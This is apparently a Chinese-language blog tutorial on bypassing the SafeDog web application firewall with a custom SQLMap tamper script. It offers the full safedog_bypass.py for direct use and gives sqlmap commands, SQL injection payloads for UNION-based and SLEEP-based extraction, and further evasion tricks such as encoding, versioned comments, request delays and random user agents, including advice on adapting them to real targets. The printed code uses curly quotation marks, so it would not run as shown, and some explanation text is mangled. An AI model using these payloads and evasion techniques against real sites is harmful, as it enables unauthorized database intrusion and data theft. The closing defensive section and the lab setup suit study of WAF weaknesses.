1. 项目概述与核心思路

最近在渗透测试的实战演练中，遇到一个挺有意思的挑战：目标站点部署了安全狗（SafeDog）这类WAF（Web应用防火墙），常规的SQLMap攻击载荷一上去就被拦截得干干净净。很多刚入门安全测试的朋友可能会觉得，上了WAF就无解了，或者只能依赖SQLMap内置的几十个Tamper脚本去“碰运气”。但实际上，WAF的规则并非铁板一块，通过深入分析其拦截逻辑，并用Python定制自己的Tamper脚本，往往能打开一条通路。今天，我就结合一次真实的绕过案例，分享一下从分析到编写完整Tamper脚本的全过程，并附上可直接使用的代码。无论你是想深入理解SQL注入原理，还是希望提升工具使用技巧，这篇内容都会很有帮助。

简单来说，SQLMap的Tamper脚本就像一个“编码器”或“变形器”。它的作用是在SQLMap发出攻击载荷（Payload）之前，对载荷进行各种变换，比如大小写转换、添加注释、替换关键字等，目的是让Payload“看起来”不像恶意的SQL语句，从而绕过WAF的规则匹配。安全狗作为国内一款常见的WAF，有其特定的正则表达式匹配规则和语义分析逻辑。我们的目标不是“击败”它，而是“绕过”它。这需要我们扮演一个规则分析者的角色，通过观察拦截现象，逆向推测其规则，然后设计出能骗过规则的Payload变形方式。整个过程，Python是我们的核心工具，因为它灵活、强大，且与SQLMap无缝集成。

2. 环境准备与目标分析

2.1 测试环境搭建

在开始编写脚本前，一个可控的测试环境至关重要。盲目在真实目标上测试既不道德，也容易触发警报。我推荐以下两种方式：

1. 本地靶场环境 ：使用DVWA、SQLi-Labs或Pikachu这类集成好的漏洞靶场。在自己的虚拟机或服务器上搭建，然后在同一台机器或同一内网的另一台机器上部署安全狗的测试版（通常官网提供试用）。这样可以完全控制两端，方便反复测试和抓包分析。
2. 云实验环境 ：一些在线网络安全学习平台提供了预置WAF的漏洞环境，专门用于绕过技术练习。这种环境省去了自己搭建的麻烦。

我这次选择的是第一种方式，在本地用Docker快速搭建了一个Pikachu靶场，并在同一台主机的另一个容器里部署了安全狗WAF。这样，所有的请求流量都会经过安全狗的检测。

2.2 安全狗拦截特征初探

首先，我们用未修改的SQLMap对靶场的一个字符型注入点进行基础探测：

python sqlmap.py -u “http://target.com/vul.php?id=1" --batch

不出所料，请求很快被阻断，安全狗返回了特征明显的拦截页面（通常包含“安全狗”、“拦截”等字样，状态码可能是403或200但内容被替换）。 这是我们的第一个信息源：它确认了WAF的存在并处于工作状态。

接下来，使用SQLMap的 --tamper 参数尝试一些内置脚本，比如 space2comment （空格替换为注释）、 randomcase （随机大小写）：

python sqlmap.py -u “http://target.com/vul.php?id=1" --tamper=space2comment --batch

观察哪些Tamper能被放过，哪些依然被拦。例如，我发现 space2comment 依然被拦，但 randomcase 有时能过去一两个请求。这说明安全狗对 /**/ 这类注释符的检测可能很严格，但对大小写变换的规则可能不够完善，或者存在阈值。 这个测试过程不是为了找到能直接绕过的脚本，而是为了收集WAF规则强度的“手感”。

2.3 关键步骤：载荷分析与规则推测

这是最核心的一步。我们需要知道安全狗到底拦了什么。这里必须借助抓包工具（如Burp Suite）和SQLMap的详细输出。

1. 开启SQLMap详细日志 ：使用 -v 3 参数，让SQLMap打印出它发送的每一个Payload。

   python sqlmap.py -u “http://target.com/vul.php?id=1" -v 3 --batch
   

2. 同时配置Burp Suite作为代理 ：将系统的代理或SQLMap的 --proxy 参数指向Burp。这样，所有请求都会经过Burp，我们可以清晰地看到原始的、被WAF拦截前的Payload是什么样子。
3. 对比分析 ：在Burp的Repeater模块中，手动复制SQLMap发出的被拦截的Payload，然后进行微小的修改并重放。例如：
   • 原Payload： 1' AND ‘1'='1
   • 修改1： 1' ANd ‘1'='1 （改变一个字母大小写）
   • 修改2： 1' AND‘1'='1 （去掉AND后的空格）
   • 修改3： 1' AND 0x31=0x31 （将‘1'用十六进制表示）

通过观察哪种修改能通过，我们就能逆向出规则。在我的测试中，我发现：

• AND 、 OR 、 SELECT 、 UNION 等关键字被严格检测，但 大小写混合 （如 AnD ）有时能绕过。
• 空格被严格检测，但使用**内联注释 /**/ 会被识别，而使用 换行符 %0a 或 制表符 %09 **作为分隔符却能通过。
• 对单引号、等号的检测存在上下文关联，如果将其与非常规字符或编码结合，可能绕过。

注意 ：不同版本的安全狗规则差异可能很大。本文分享的思路和脚本是基于某个特定版本测试的，核心是掌握分析方法。在实际应用中，你需要针对目标WAF重新进行这一套分析流程。

3. Tamper脚本编写原理与结构

3.1 SQLMap Tamper脚本接口

一个标准的SQLMap Tamper脚本就是一个Python文件，它必须包含一个 tamper(payload, **kwargs) 函数。这个函数接收原始的 payload 字符串，并返回修改后的字符串。SQLMap会自动调用它。

一个最简单的脚本骨架如下：

#!/usr/bin/env python
"""
这是一个自定义的Tamper脚本，用于绕过特定WAF。
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL  # 定义脚本优先级，NORMAL是默认值

def dependencies():
    """声明脚本依赖，通常不需要修改"""
    pass

def tamper(payload, **kwargs):
    """
    主函数，对Payload进行变形。
    :param payload: 原始的Payload字符串
    :return: 变形后的Payload字符串
    """
    if payload:
        # 在这里编写你的变形逻辑
        retVal = payload
        # ... 你的处理代码 ...
        return retVal
    return payload

__priority__ 变量很重要。当使用多个 --tamper 脚本时，SQLMap会按优先级（LOWEST, LOW, NORMAL, HIGH, HIGHEST）顺序执行。我们的脚本通常设为NORMAL或HIGH。

3.2 设计绕过策略

基于之前的分析，我制定了组合拳策略，而不是依赖单一变换。一个强大的Tamper脚本往往是多种绕过技术的叠加：

1. 关键字混淆 ：将 UNION SELECT 转换为 uNiOn%sElEcT ，其中 %s 会被后续的空格替换策略处理。大小写随机化，但避免完全随机导致可读性差，采用固定模式的混合大小写。
2. 空格替换 ：不使用 /**/ ，而是用更冷门的空白符，如 %0a （换行）、 %0b （垂直制表符）、 %0c （换页符）。经过测试， %0a 的绕过率很高。
3. 运算符与引号干扰 ：在等号 = 前后插入无效的运算或注释，如 LIKE 、 RLIKE ，或者将 = 用 LIKE 或 REGEXP 替代。对字符串引号，尝试用 0x 十六进制编码。
4. 参数污染 ：有时WAF只检查单个参数，我们可以将一个注入Payload拆分成两个参数，例如 id=1 和 id=2 UNION SELECT ，然后在服务端合并。这需要脚本能处理HTTP参数，更复杂一些，本次暂不展开。

核心思想是：让Payload的“指纹”尽可能偏离WAF规则库中的已知特征，同时保持其在数据库引擎中的语法正确性。

4. 完整Tamper脚本代码解析

下面是我编写的名为 safedog_bypass.py 的完整脚本，我将逐段解释其逻辑。

#!/usr/bin/env python
"""
Copyright (c) 2024 实战博主
自定义Tamper脚本：用于绕过安全狗(SafeDog) WAF的特定规则。
版本: 1.0
测试环境: SafeDog x.x, MySQL数据库
"""

import random
import string
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH  # 设置较高优先级，确保先执行关键混淆

def dependencies():
    """本脚本无需特殊依赖"""
    pass

def tamper(payload, **kwargs):
    """
    主变形函数。
    实施四层混淆：关键字大小写变换、空白符替换、运算符干扰、数字编码。
    """
    if not payload:
        return payload

    retVal = payload

    # 第一层：SQL关键字大小写混淆 (固定模式，非完全随机，保证稳定性)
    # 定义一个混淆映射字典，将常见关键字转换为混合大小写形式
    keyword_mappings = {
        ‘ UNION ‘: ‘ uNiOn ‘,
        ‘ SELECT ‘: ‘ sElEcT ‘,
        ‘ AND ‘: ‘ aNd ‘,
        ‘ OR ‘: ‘ oR ‘,
        ‘ FROM ‘: ‘ fRoM ‘,
        ‘ WHERE ‘: ‘ wHeRe ‘,
        ‘ ORDER BY ‘: ‘ oRdEr bY ‘,
        ‘ LIMIT ‘: ‘ lImIt ‘,
        ‘ INFORMATION_SCHEMA ‘: ‘ iNfOrMaTiOn_ScHeMa ‘,
        ‘ TABLE_NAME ‘: ‘ tAbLe_NaMe ‘,
        ‘ COLUMN_NAME ‘: ‘ cOlUmN_NaMe ‘,
        ‘ CONCAT ‘: ‘ cOnCaT ‘,
        ‘ GROUP_CONCAT ‘: ‘ gRoUp_CoNcAt ‘,
        ‘ SLEEP(‘: ‘ SlEeP(‘,
        ‘ BENCHMARK(‘: ‘ BeNcHmArK(‘,
        # 可以继续添加更多关键字
    }
    for orig, repl in keyword_mappings.items():
        # 使用while循环确保替换所有出现，而不仅仅是第一个
        while orig in retVal.upper():
            index = retVal.upper().find(orig)
            if index != -1:
                retVal = retVal[:index] + repl + retVal[index + len(orig):]

    # 第二层：替换空格为换行符 (%0a) 或垂直制表符 (%0b)
    # 随机选择，增加不可预测性，但以%0a为主
    whitespace_replacements = [‘%0a‘, ‘%0b‘, ‘%0c‘]
    # 先将字符串中的空格找出来，避免替换掉已经编码的部分
    import re
    # 匹配不在引号内且不是已编码字符中间的空格（简化处理）
    # 更稳妥的方法是遍历，这里为清晰起见，先简单替换普通空格
    retVal = retVal.replace(‘ ‘, random.choice(whitespace_replacements))

    # 第三层：干扰等号运算符和引号
    # 将 ‘=‘ 替换为 ‘ LIKE ‘ 或 ‘ REGEXP ‘，增加绕过几率
    if ‘=‘ in retVal:
        # 避免替换URL中的‘=‘（如参数分隔符），这里我们假设替换的是SQL语句中的等号
        # 使用正则匹配 SQL 条件中的等号，例如 ‘id=1‘ 或 ‘... AND ‘a‘=‘a‘‘
        pattern = re.compile(r‘([\s\'\"\`])=([\s\'\"\`0-9])‘)
        def replace_equal(match):
            # 随机选择替换方式，但倾向于使用LIKE
            replacements = [‘ LIKE ‘, ‘ REGEXP ‘, ‘=‘]  # 保留一定概率不变
            choice = random.choice(replacements)
            return match.group(1) + choice + match.group(2)
        retVal = pattern.sub(replace_equal, retVal)

    # 对单引号内的纯数字字符串进行十六进制编码
    # 匹配模式：单引号包围的连续数字，例如 ‘123‘
    hex_pattern = re.compile(r“\‘(\d+)\‘“)
    def to_hex(match):
        num = match.group(1)
        # 将数字转换为十六进制格式，如 0x313233
        hex_str = ‘0x‘ + ‘‘.join(hex(ord(c))[2:].zfill(2) for c in num)
        return hex_str
    retVal = hex_pattern.sub(to_hex, retVal)

    # 第四层：添加无害的注释干扰（谨慎使用，因为/**/可能被检测）
    # 在部分关键字后添加内联注释，但内容为空或随机字符串
    # 由于安全狗对/**/敏感，我们改用 `-- ` 注释，并确保后面有空格
    comment_keywords = [‘uNiOn‘, ‘sElEcT‘, ‘fRoM‘]
    for kw in comment_keywords:
        if kw in retVal:
            # 只在部分出现的位置后添加注释，避免过度
            if random.random() > 0.7:  # 30%的概率添加
                # 插入一个随机字符串注释，如 `-- abc`
                random_comment = ‘-- ‘ + ‘‘.join(random.choices(string.ascii_lowercase, k=3)) + ‘ ‘
                # 替换时需小心，避免破坏结构
                retVal = retVal.replace(kw + ‘%0a‘, kw + random_comment + ‘%0a‘, 1)  # 只替换第一个

    return retVal

# 以下为本地测试代码，正式使用时注释掉
if __name__ == ‘__main__‘:
    test_payloads = [
        “1‘ AND ‘1‘=‘1“,
        “-1‘ UNION SELECT 1,2,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database()-- “,
        “1‘ AND EXISTS(SELECT 1 FROM users WHERE username=‘admin‘ AND SLEEP(5))-- “,
    ]
    for p in test_payloads:
        print(f“原始: {p}“)
        print(f“变形后: {tamper(p)}“)
        print(“-“ * 50)

4.1 代码逻辑逐层拆解

1. 关键字混淆层 ( keyword_mappings ) ：

   • 我们定义了一个字典，将常见的SQL关键字映射到特定的混合大小写形式。例如， SELECT -> sElEcT 。这种固定模式比完全随机（如 SeLeCt ）更稳定，因为有些WAF可能对完全随机的字符序列也有检测。选择 uNiOn 、 sElEcT 这种模式，是经过测试后发现其绕过率较高的特定“指纹”。
   • 使用 while 循环和 .upper() 方法进行不区分大小写的全局替换，确保处理所有出现的关键字。

2. 空白符替换层 ：

   • 将普通的空格 替换为URL编码的换行符 %0a 或垂直制表符 %0b 。在HTTP请求中，这些字符会被解码为相应的空白符，而大多数数据库SQL解析器会将其视作有效的空格分隔符。
   • 这里有个关键点 ：直接 replace(‘ ‘, ‘%0a‘) 可能会替换掉Payload中不应该动的地方（比如已经编码的部分）。更严谨的做法是使用正则表达式只替换SQL语法中的空格。本例为了代码清晰做了简化，在实际高精度脚本中需要更精细的控制。

3. 运算符与引号干扰层 ：

   • 等号干扰 ：使用正则表达式 r‘([\s\'\"\ ])=([\s'"`0-9])‘ 来匹配SQL条件中的等号（其前后是空白符、引号或数字），然后随机替换为 LIKE 或 REGEXP 。这两个运算符在布尔条件判断中有时可以替代 =`，且可能不在WAF的高危关键字列表中，或者触发的规则权重较低。
   • 数字编码 ：使用正则表达式 r“\‘(\d+)\‘“ 匹配单引号内的纯数字字符串，并将其转换为十六进制格式。例如， ‘123‘ 变成 0x313233 。这能有效绕过对引号内特定内容的检测。

4. 注释干扰层（谨慎使用） ：

   • 在部分混淆后的关键字后随机添加 -- 注释。注释内容是随机三个小写字母，目的是增加Payload的“噪音”，破坏固定的模式匹配。
   • 重要提示 ：由于安全狗对 /**/ 检测严格，我们改用 -- 。并且， -- 后面必须跟一个空格，这是SQL注释的语法要求。同时，我们控制只以30%的概率添加，避免每个Payload都变得冗长怪异，反而可能引发基于长度的异常检测。

4.2 脚本使用与测试方法

1. 保存脚本 ：将上述代码保存为 safedog_bypass.py ，并放置到SQLMap的 tamper/ 目录下。
2. 基本使用 ：在SQLMap命令行中，通过 --tamper 参数指定我们的脚本。

   python sqlmap.py -u “http://your-target.com/vul.php?id=1" --tamper=safedog_bypass --batch
   

3. 结合其他脚本 ：可以组合多个Tamper脚本，执行顺序由优先级决定。例如，可以先使用我们的脚本进行深度混淆，再使用 charencode 进行二次编码。

   python sqlmap.py -u “http://your-target.com/vul.php?id=1" --tamper=safedog_bypass,charencode --batch
   

4. 本地测试 ：在脚本底部，我们留了一段 if __name__ == ‘__main__‘: 测试代码。直接运行这个Python文件，可以看到示例Payload经过变形后的结果，方便调试逻辑。

   python safedog_bypass.py
   

实操心得 ：不要指望一个脚本能通杀所有版本的安全狗。在实际使用时，应该先用 --tamper 参数搭配 --dbs （枚举数据库）这类基础测试。如果失败，再回到Burp Suite中，用脚本变形后的Payload进行手动测试和微调。经常需要根据拦截情况，回头修改脚本中的映射字典、替换字符或概率参数。

5. 高级绕过技巧与脚本优化

5.1 利用数据库特性与非常规语法

上述脚本是通用性较强的混淆。针对特定数据库（如MySQL），我们可以利用其特有语法来构造更诡异的Payload，这往往能绕过基于通用SQL语法的检测。

• MySQL注释技巧 ： /*!50000SELECT*/ 这种内联注释，在MySQL中会被执行，但某些WAF可能不将其识别为关键字。可以在脚本中添加规则，将 SELECT 替换为 /*!50000SELECT*/ 。
• 反引号与空格 ：MySQL允许使用反引号 ` 来引用标识符，有时用反引号包裹关键字或与奇怪的空格组合能绕过。例如， SEL/**/ECT 可能被拦，但 SEL`/**/`ECT 可能不会。
• 科学计数法绕过 ：对于数字型注入， id=1 和 id=1e0 是等价的。将 1 替换为 1e0 、 1.0 、 0.1e1 等形式，可以绕过对纯数字的简单匹配。

我们可以在脚本中增加一个专门处理MySQL特性的函数，并在 tamper 函数中调用：

def mysql_specific_obfuscation(payload):
    """针对MySQL的特定混淆"""
    import re
    ret = payload
    # 示例：将 SELECT 替换为 /*!50000SELECT*/
    ret = re.sub(r‘\bSELECT\b‘, ‘/*!50000SELECT*/‘, ret, flags=re.IGNORECASE)
    # 示例：将空格替换为反引号包裹的注释 /*`*/
    # 注意：这需要根据实际情况调整，可能破坏语法
    # ret = re.sub(r‘\s+‘, ‘/*`*/‘, ret)
    return ret

注意 ：这些技巧需要严格测试，因为可能破坏SQL语法导致查询失败。务必在靶场中验证其有效性。

5.2 动态负载与上下文感知

一个更高级的思路是让Tamper脚本“智能”一些。当前的脚本是静态替换，而理想的脚本应该能根据Payload的上下文（比如是位于 UNION 查询中还是 WHERE 子句中）采取不同的策略。

• 上下文判断 ：可以通过简单正则判断。例如，如果Payload包含 UNION ALL SELECT ，则对 SELECT 后面的列名进行特殊编码；如果Payload是 AND SLEEP(5) ，则重点处理 SLEEP 函数。
• 动态参数 ：SQLMap的 tamper 函数可以接收 **kwargs 参数，其中包含一些上下文信息，如 headers , kwargs.get(“value”) 等。我们可以利用这些信息来决定是否启用某些激进的绕过手段。例如，当检测到 User-Agent 头被修改时，可能意味着WAF更严格，需要启用更多层混淆。

实现上下文感知需要更复杂的代码逻辑，但它能让绕过更加精准和高效。

5.3 编码与多重转换

单一编码可能被破解，但多重编码叠加效果显著。我们的脚本已经包含了十六进制编码。还可以考虑：

• URL编码 ：对整个或部分Payload进行双重URL编码（如 %2520 代表空格）。有些WAF只做一次解码检查。
• Unicode编码 ：将关键字转换为非常规的Unicode字符，如全角字符 ＳＥＬＥＣＴ （在某些数据库和PHP配置下可能被等效处理）。
• HTML实体编码 ：如果注入点位于HTML上下文中（如搜索框），可以尝试 SELECT （SELECT的实体编码）。

在脚本中集成一个编码层，可以作为一个可配置的选项：

def apply_encoding(payload, level=1):
    if level == 1:
        # 简单URL编码关键字符
        return payload.replace(‘ ‘, ‘%20‘).replace(‘\‘‘, ‘%27‘).replace(‘“‘, ‘%22‘)
    elif level == 2:
        # 更复杂的编码，这里只是示例
        import urllib.parse
        return urllib.parse.quote(payload, safe=‘‘)
    else:
        return payload

警告 ：过度编码可能导致Payload过长或不可读，增加被基于长度或熵值（随机性）的异常检测规则发现的概率。需要权衡。

6. 实战调试与问题排查实录

即使有了脚本，实战中也不可能一帆风顺。下面记录几个我遇到过的典型问题及解决思路。

6.1 问题一：脚本执行后，SQLMap依然无法检测到注入点

• 可能原因 ：变形过度，导致Payload语法错误，数据库无法执行，返回的总是错误页面，SQLMap无法识别差异。
• 排查步骤 ：
  1. 开启详细日志 ：使用 -v 3 查看SQLMap发送的具体Payload。复制这个变形后的Payload。
  2. 手动测试 ：在Burp Repeater中，手动发送这个变形后的Payload，观察响应。与一个正常的请求响应做对比。如果返回的是数据库错误（如MySQL的语法错误信息），说明我们的变形破坏了SQL语法。
  3. 简化脚本 ：注释掉脚本中的某些层（如注释干扰层、等号干扰层），逐层测试，定位是哪个变换导致了语法错误。
  4. 检查数据库兼容性 ：确认使用的变形语法（如 %0a 作为空格）是否被目标数据库支持。MySQL一般支持，但其他数据库如MSSQL、Oracle可能不支持。

6.2 问题二：部分Payload能过，但到获取数据（如 --dbs ）阶段又被拦截

• 可能原因 ：WAF具备多阶段检测能力。初始的布尔型或时间盲注检测Payload可能比较简单，绕过了。但后续 UNION SELECT 查询数据时，Payload更复杂，特征更明显，触发了更严格的规则。
• 解决思路 ：
  • 差异化策略 ：修改脚本，使其对不同类型的Payload应用不同强度的混淆。可以通过判断Payload是否包含 UNION 、 INFORMATION_SCHEMA 等关键字来动态调整。例如，对于数据枚举阶段的Payload，启用最强的编码和混淆。
  • 降低请求频率 ：使用SQLMap的 --delay 参数（如 --delay=2 ）设置每次请求间隔2秒，避免高频请求触发WAF的速率限制或行为分析规则。
  • 修改User-Agent ：使用 --random-agent 或 --user-agent 指定一个常见的浏览器UA，减少工具指纹。

6.3 问题三：脚本在本地测试有效，但对真实目标无效

• 可能原因 ：
  1. WAF版本/规则不同 ：真实目标的安全狗版本或规则集可能更新，与我们测试的环境不同。
  2. 网络架构差异 ：目标可能使用了云WAF、多层WAF或与CDN结合，拦截点不在我们预设的位置。
  3. 目标应用本身有过滤 ：除了WAF，应用程序自身可能还有输入过滤或预处理，我们的变形可能在这层就被处理掉了。
• 应对方法 ：
  1. 信息收集 ：尽可能收集目标WAF的信息（如拦截页面的特征、响应头中的 Server 或 X-Powered-By 字段）。
  2. 回归分析 ：重新进行最基础的拦截测试，用最简单的 ‘ 和 AND 1=1 去试探，用Burp观察原始流量，重新分析拦截点。
  3. 更新脚本 ：根据新的拦截特征，调整脚本中的混淆策略。可能需要尝试全新的绕过思路，如HTTP参数污染（HPP）、分块传输编码（Chunked Encoding）等，这些已超出Tamper脚本范畴，需要配合其他工具（如Burp插件）。

6.4 常见问题速查表

问题现象	可能原因	排查与解决方向
SQLMap报告“所有参数似乎都不注入”	1. 变形导致语法错误 2. WAF完全拦截所有探测请求	1. 用 -v 3 看Payload，手动在Repeater测试。 2. 尝试不加 --tamper ，看是否被拦。确认注入点是否存在。
能检测到注入，但无法枚举数据	1. 数据检索阶段的Payload特征明显 2. 请求频率过高	1. 强化对 SELECT 、 FROM 、 INFORMATION_SCHEMA 等关键字的混淆。 2. 添加 --delay 参数，使用 --proxy 通过Burp控制流量观察。
间歇性成功/失败	1. WAF有学习或会话机制 2. 可能触发了速率限制	1. 尝试使用 --flush-session 清除SQLMap会话。 2. 增加延迟，并尝试在同一个会话中保持参数一致性。
错误提示“无效的十六进制数字”	数字十六进制编码函数 to_hex 逻辑有误	检查 to_hex 函数，确保它正确处理了多位数字。打印中间值调试。

7. 防御视角与总结

从攻击者角度研究绕过技术，最终是为了更好地防御。通过这个过程，我们可以清晰地看到WAF防御的薄弱环节：

1. 基于正则匹配的局限性 ：静态规则难以应对动态、多变的Payload变形。尤其是大小写变换、空白符替换、等效运算符替换这些“语义保持”的变形，很容易绕过单纯的关键字匹配。
2. 缺乏上下文语义理解 ：高级WAF虽然引入了语法树分析，但要准确区分恶意SQL和复杂但合法的查询仍然困难。攻击者可以利用数据库的“怪癖”和宽松的语法解析来构造合法但恶意的语句。
3. 对编码和混淆的检测不足 ：多层编码、非常规字符集的使用，对WAF的解码和规范化能力是巨大挑战。

作为防御方，应该采取纵深防御策略 ：

• 不要依赖单一WAF ：WAF应作为IPS/IDS之后的第二道防线，而非唯一防线。
• 输入验证与参数化查询 ：在应用代码层面，实施严格的白名单输入验证，并对所有数据库查询使用参数化查询（预编译语句），这是防止SQL注入的根本方法。
• 最小权限原则 ：数据库连接账户应仅具有所需的最小权限，避免攻击者利用注入点进行高权限操作。
• 定期更新与测试 ：及时更新WAF规则库，并定期使用安全工具或服务对自身系统进行渗透测试，检验防护效果。

编写这个Tamper脚本的过程，是一次深入理解SQL注入、WAF工作原理和数据库特性的实践。它告诉我，安全是一个动态对抗的过程。没有一劳永逸的防御，也没有永远有效的攻击。核心在于对底层原理的掌握和持续的分析、测试与调整。希望这份详细的分享和附带的代码，能为你打开一扇门，不仅仅是学会使用一个脚本，更是理解其背后的思维方法。在合规授权的测试环境中，大胆去尝试、修改和创造吧，这才是技术能力提升的真正路径。